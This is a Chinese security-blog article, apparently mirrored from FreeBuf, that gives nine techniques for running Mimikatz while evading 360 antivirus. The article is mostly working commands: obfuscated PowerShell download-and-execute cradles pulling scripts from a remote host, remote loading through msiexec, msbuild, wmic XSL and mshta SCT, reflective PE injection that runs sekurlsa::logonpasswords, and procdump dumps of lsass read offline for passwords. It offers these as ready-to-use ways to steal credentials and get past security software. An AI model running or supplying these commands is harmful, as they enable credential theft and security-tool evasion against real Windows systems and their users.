40

九种姿势运行Mimikatz

 5 years ago
source link: http://www.freebuf.com/articles/web/176796.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载  

前言

平时收集的一些姿势,用户绕过杀软执行mimikatz,这里以360为例进行bypass 测试。

下载最新版360:

jyEfUfv.jpg!web

未经处理的mimikatz直接就被杀了

RvaeQni.jpg!web

下面开始进行绕过360抓密码

姿势一-powershell

https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

cmd下执行

C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

也可以远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz

但是powershell被360拦截

7fMjaqN.jpg!web

简单混淆就bypass了

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

动图: http://ringk3y.com/wp-content/uploads/2018/07/1.gif

姿势二-用.net2.0加载mimikatz

作者Casey Smith, Twitter: @subTee

下载

https://gist.githubusercontent.com/nicholasmckinney/896b508b6cf1e8c3e567ccab29c8d3ec/raw/afa7219adbfcdfc160c163273ef8ec61ff0658b4/katz.cs

将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727

先powoershell执行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Contentkey.snk -Value $Content -EncodingByte

再cmd执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

动图: http://ringk3y.com/wp-content/uploads/2018/07/1-1.gif

姿势三-JS加载mimikatz

用DotNetToJScript实现

https://github.com/tyranid/DotNetToJScript

mimikatz

https://gist.github.com/500646/14051b27b45dce37818aca915e93062f/raw/2adcc9d2570b4367c6cc405e5a5969863d04fc9b/katz.js

执行cscript mimikatz.js

7rUZjaE.jpg!web

但是这个方法已经会被一些杀软标记成恶意软件,绕过方法参考

https://evi1cg.me/archives/AMSI_bypass.html

姿势四-msiexec加载mimikatz

作者 homjxi0e

下载

https://github.com/homjxi0e/PowerScript/blob/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi

远程执行

PS:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestartcmd:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestart

本地执行

msiexec /passive /i C:\Users\Administrator\Downloads\Mimikatz.msi

姿势五-.net4.0加载mimikatz

作者 subTee

下载mimikatz.xml

https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml

执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild<.exemimikatz.xml

3mMZniQ.jpg!web

姿势六-JScript的xsl版

作者 subTee

下载

https:/gist.github.com/manasmbellani/7f3e39170f5bc8e3a493c62b80e69427/raw/87550d0fc03023bab99ad83ced657b9ef272a3b2/mimikatz.xsl

本地加载

wmic os get /format:"mimikatz.xsl"

远程加载

wmic os get /format:"http://127.0.0.1/mimikatz.xsl"

A7nAbiI.jpg!web

姿势七-jscript的sct版

作者 subTee

下载

https:/gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct

执行

mshta.exe javascript:a=GetObject("script:https://gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct").Exec(); log coffee exit

QJ3eAzf.jpg!web

姿势八-内存中加载mimikatz

下载

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

执行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.101/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

动图: http://ringk3y.com/wp-content/uploads/2018/07/1-2.gif

姿势九-导出lsass进程离线读密码

下载procdump64.exe

执行

procdump64.exe-accepteula-malsass.exe 1.dmp

也可以在任务管理器中操作

UVRbMrf.jpg!web

然后将1.dmp下载到本地

mimikatz_2.1_64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

2mQRZvn.jpg!web

总结

1.对比这几种方式个人还是喜欢导出lsass进程内存方式来读取密码。

2.也可以用powershell远程加载mimikatz脚本读密码,简单方便。

*本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载  


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK